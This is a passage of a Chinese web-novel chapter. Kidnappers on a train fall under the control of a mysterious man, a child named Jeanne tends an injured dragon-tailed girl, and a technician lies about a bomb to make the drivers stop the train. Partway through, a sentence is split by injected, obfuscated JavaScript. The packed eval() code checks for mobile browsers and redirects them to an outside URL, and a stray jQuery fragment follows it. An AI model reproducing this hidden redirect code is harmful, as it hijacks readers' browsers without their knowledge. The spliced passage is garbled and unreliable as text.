“他就那么——托着我们的目标过去了。”白少俊喃喃道,眼睛望着枢机主讲消失的方向。情况的变化有点超出他的想象。
“小姑娘还在后头,”关铁震说,“他要的东西跟我们不一样。还有机会。”
“如果交不上全部的货,只交一半大概也行吧?”马延仙附和了一句。
三人的精神都微微一振。眼下还不算是山穷水尽的时候。
但在此时,车厢的连接门咔哒一响,被人打开了。一个穿着皱巴巴的商务套装的男人出现在门口。他的头发油腻而杂乱,鼻子上还架着一副缠着胶布的眼镜。他似乎没有注意到车厢里的另外三个人,只是一脸凝重地自言自语。“没想到结束的这么快,可能我对他们的期待有点太高了?但那也可能并不是完成品……那圣女的情况或许会更有点意思……”
白少俊一皱眉,正要上去把他赶开,但关铁震在旁边拉了拉白少俊的衣角。
白少俊一愣,随即领悟。
之前轻而易举处理掉骑士的人,穿的正是这身衣服。没想到那白面具下,居然是这么一张有点滑稽的脸。他一时有点无法相信。
而那眼镜男也终于看到了他们。他一瞬间就换了一张脸,凝重一扫而空,露出温和的微笑。“你们几个居然还活着。主讲大人真的是脾气好。”
白少俊没有说话。而关铁震搓了搓手,满脸堆笑道:“这位先生,不知你有什么吩咐?”
“有什么吩咐?”那人看了看关铁震的表情,又看了看车厢里的几个箱子,说:“嗯,有人干点力气活总归是不错。那你们两个就在这里等着。老人家就爱上哪上哪去吧。”他说完,径自向车头走去。
“是!”关铁震大声答应,对着眼镜男背后鞠了一躬,看他的身影消失在车门后,才压低声音对马延仙道:“老爷子,你去招呼一下小楼。顺便……再看一眼咱们的小目标。”
马延仙点点头,到后面去了。
“喂,你说,他跟那个穿红袍子的家伙,会不会干起来啊。”白少俊小声道。
“哼,我看很有可能。他们自己打起来再好不过了,到时候,我们就可以火中取栗。”关铁震兴奋地搓了搓手。
“是鹬蚌相争,渔翁得利。”白少俊道。“只不知道谁才是渔翁呢。”
###
让娜蜷缩在座位下。
刚才爆发的那一阵猛烈的枪声以及打斗声,好不容易才安静下来。而接下来的漫长安静更让她恐惧。她不敢抬头,更不敢从座位下爬出。胖球大概也被那声音吓到,钻到了对面的行李架的深处,只露出一双亮亮的眼睛窥视着外面。
不知道这场灾难什么时候才是个头。
她望向之前那些声音的方向,但除了歪七扭八躺着的人体,实在看不到什么东西。整个车厢里似乎没有一个人是站着的。她想看看玉明珑到底怎么样了,但她才刚刚一动脑袋,她的正上方却响起了一个男人的声音。
“唉,没想到这么无趣。”
让娜险些惊叫出声。她紧紧捂住了自己的嘴巴。
空气像被火炉烤着一样,微微抖动。同时有一些微不足道的滋滋电流声。让娜看不到自己的前面到底有什么东西,但她知道,有什么东西就在她面前。对面货架上的胖球大概也感觉到了什么,又往行李架里缩了缩。紧接着,车厢的连接门打开了。脚步声响,似乎有一个无形的人穿过车厢,向前走去。
让娜慢慢伸出脑袋。她看到在2号车厢里,玉明珑那长长的龙尾从座椅上耷拉下来,拖在地上。
然后龙尾突然跃动了一下。
不,是那个无形的人正在检查那条龙尾。那条龙尾已经从玉明珑身上拆了下来,横放在她身边的座位上。而玉明珑似乎是睡着了。一个女人躺在玉明珑身边的地上,而另一个鸟脸面具的人倒在血泊里。
对面的车厢门一开一合。那个无形的人似乎离开了。
让娜跑到玉明珑的身边,摇了摇她的身子。玉明珑轻轻哼了一声,没有动。让娜摸了摸玉明珑的额头,有些烫手,于是撕下自己的一块围裙,跑到洗手台边接了水沾湿,敷在玉明珑的额头上。然后她又把玉明珑从窗边移开,半抱半拖地弄到另一边的座位上。
胖球大概感觉到外面安全了一些,从行李架上飞了下来。它看着空荡荡的窗户,一副想要从那里逃出去的样子。
“胖球,不行!”让娜低声喊道。
此时,前面的车厢连接门又响了。
让娜急忙扑过去,把胖球抱在怀里,但已经来不及躲避。
她的视线跟来人正好撞上。
但那人只是一个她没有见过的瘦高老人,脸上戴着一条青布面罩。老人打量了一下抱着八哥的让娜,随后看到了她旁边躺着的鸟脸面具人和那个女子。老人惊呼一声,三步并作两步赶上前来。
“唉,作孽哟——小王?哎呀,往生极乐。小郑?小郑?”老人扶起女子,嘴里念叨着:“还好,还有口气。嘿——嘿!先——”
老人想把女子从窗前挪开,他一转身,便看到了让娜身后的玉明珑,以及那条龙尾。老人犹豫片刻,又自言自语道:“先去弄点水,弄点水。”
他把女子架到座位上,然后双手捧了些水,一点点洒在女子脸上。
女子呻吟了几声,回过神来。
“马老……我们被……偷袭了。小王——”
“别说话,深呼吸,要不然心率不稳。唉,没想到搞成这个样子。”
“那黑猫——”
“黑猫被一个穿长袍的家伙带走啦。”老人说。
“长袍……什么意思?”
“你就先别说话啦。先缓一缓。当初就不该让你跟小王一起。他太急着寻仇了,我一直觉得——”老人虽然不让那女子说话,但自己反倒叨咕起来。
“他们两个呢?他们在哪?”那女子挤出这么两句话,猛烈咳嗽起来。
“我们都没事。不说了,不说了。你好好休息。”老人轻轻拍了拍女子的脊背,让她慢慢靠着椅子躺下,同时目光又转向让娜和玉明珑。“这种小孩子也牵扯进来,也真是的。”
让娜并没有回答,只是紧张地盯着老人。
老人向她温和地笑了笑。
###
白少俊蹲在地上,捡起被拆散的枪械零件,试图把它们重新组装起来。
“喂!”关铁震大喝一声。“想什么呢?”
白少俊一个哆嗦,随后意识到是关铁震,怒道:“你这秃头,不想着怎么把买卖做完,还在这开什么玩笑!”
关铁震说:“哼,我怎么没想?你看,小姑娘还在后面的车厢里,我们只需要等到火车开到靠近汋河大桥的时候,拉下那边的紧急停车把手,顶住车门,等车停稳就直接跳下去,上船回去交差。这买卖怎么样?”
白少俊听了,点了头道:“的确不错,只不过——”
“只不过得稍微改动一下。”一个人声从前面传来。
关铁震和白少俊一起打了个哆嗦。“谁?是谁?”
“是我。”眼镜男的身形从前方的阴影中显露出来。他的手上还拉着老大一具黑漆漆又白花花的□□。
是黑猫。
“你们两个听好。我没工夫废话。抬上这个人,回到2号车厢,紧急停车。停车以后,从哪来的给我滚回哪里去。但,不准动这个人,也不准动那个小孩,更不准动她的尾巴。否则——”眼镜男看了一眼地上的骑士尸体,意思非常明显。
“是!是!”关铁震深深鞠躬。“但您——”
关铁震的头才刚抬起来,眼镜男又消失了。“真是邪门。”关铁震说。“这下怎么办?计划都被他听到了。”
“怎么办——先把他搬回去,跟马老爷子汇合。别的回去再说。”白少俊拉起黑猫的一只手。“天啊,这家伙怎么这么沉!”
“别叫了,快点搬吧!”关铁震架起黑猫的另一只手。
他们一边一个,把黑猫抬进2号车厢。他们刚进2号车厢,只听得背后咚的一声,车厢之间的地面竟然裂开了一道缝。两个车厢之间的车钩松开了,他们的车厢失去了动力,开始逐渐减速。
关铁震抬头向对面的车厢看去,但那边仍然空无一人。他能猜到肯定是那个古怪的男人干的,但——
“真是打灯笼走铁路,见了鬼了!”他焦躁且有点恐惧地叫道。
“你居然把谚语用对了一次。”郑小楼在车厢另一侧虚弱地回应。
关铁震回过头去,先是看到许多被毒气放倒的乘客,随后是郑小楼和马延仙,然后看到了让娜和玉明珑。还有那条长长的龙尾。
“哦!果然在这里!”关铁震兴奋地喊道。
没有人附和他,就连关铁震自己也很快低落下来。因为王西凤还躺在几近干涸的血
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170834|195405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泊中。
###
赛德把那柄折刃藏在长袍下面,走向车头。他不觉得自己会用到这玩意。虽然他在无望加入骑士团后就再也没有过格斗训练,但对付两个司机应该不成问题吧?
他摸到驾驶室的门边,敲了敲门。
里面没有任何声音。
他又推了推门。车门紧锁着。
“您好!我是统修会的赛德机师,不是什么坏人。现在情况紧急,必须马上停车!”
赛德对着门缝喊道。既然从里面锁上了,那么司机肯定在里面。他们可能是被之前的情况吓到了。
“如果你们信不过我,我可以把我的证件从门缝里递过去。你们可以查看一下。我说的是真的,现在车上有一些歹徒,我们必须马上在新竹停车!”赛德说完,掏出自己的身份证件,从门缝下面塞进一半。对方沉默了一段时间后,他的证件被抽了进去。然后又是更长时间的沉默。赛德把耳朵贴在车门上,想听听里面有没有人说话。但他只能听到车头自己的嗡嗡响声。
又过了不知多少时间,对方终于开口了。“但你也有可能是歹徒,这证件是抢的。”
“的确有这种可能性,”赛德说,“所以我不要求你们开门,你们只要把火车在新竹停下就可以了。把车停下,我们就可以让乘客们离开。”
“但新竹已经过了。刚刚过了。”里面的人答道“即便这样你还要停车吗?你们不能坚持一个小时?再一个小时就到石岗了。”
赛德不知道。他不知道对方的计划到底是什么。他只知道对方的计划一定是在到达石岗城之前完成的。他说:“恐怕不行!你们最好现在就停车!”
对方又沉默了。
赛德等了一会,继续对着门缝说道:“现在不是等待的时候。你们是在安全的驾驶室里,但其它乘客正处于危险之中!你们也替他们想一想吧,乘客中有父母、也有孩子,有多少个家庭!我们总不能为了自己,让他们都牺牲吧?”
对方沉默片刻,答道:“那你说,那些歹徒究竟要干什么?要绑架车上的大人物吗?虽然你说牺牲什么的,但你为什么一定要我们现在停在荒郊野外呢?下一站就是石岗了。歹徒也并没有提出什么要求啊。”
“是,难道歹徒不会趁着停车逃跑吗?我们不能停车。”
“但他们在车上装了炸弹!如果我们再不停车的话,他们就会引爆炸弹!你难道不担心车上乘客的安全吗?”赛德重复了自己对枢机主讲说出的谎言。除此之外,还有什么能让他们尽快把列车停下来呢?
“什么?你说的是真的吗?”对方显然也紧张了起来。
“是真的。是歹徒们亲口说的。”
“那可真是不得了!那我们马上停车。”对方答道。
“谢谢,你们真的救了命了。”他由衷地说。
“哪里,你快回去吧,车一会就会停了。”
“只不过不是紧急刹车,所以停车要一段时间,不过也应该够了。”驾驶室内的另一个人说道。
“好的,好的。那也就可以了。”赛德松了一口气。
“嗯,你快回去吧。”驾驶室内答道。
###
“你相信那家伙吗?”副驾驶说。
“我……我不知道。他可能是想骗我们开门的歹徒。你看,我们答应以后,他连证件都不要,直接走了。”正驾驶把赛德的证件丢在仪表盘上。
“那也有可能是他太着急了。他的语气很急。”
“但齐队长刚才不是说,我们只要一直开到石岗城就行了吗。还是说,你觉得应该我们应该刹车?”
“我也不知道。你是正驾驶,你说了算。”
“要么我们就先刹车试试?反正他们也进不来……但如果真的有什么事,为什么不是齐队长来通知我们呢?”正驾驶犹豫着,把手按上了操纵杆。但他突然看到仪表盘上的指示灯正在闪烁。“这是怎么回事?谁在行驶中把车钩断开了?”
“哪里?”
“2号车厢。不行,现在已经不能刹车了。不然后面的车厢撞过来,火车肯定会翻车的。除非后面车厢的人也刹车。”
“但我们怎么知道……他们有没有刹车?”
“我怎么知道?而且……你真的相信他吗?车上真的有炸弹吗?”正驾驶的手按在操纵杆上,始终无法拉下。冷汗从他的头上流了下来。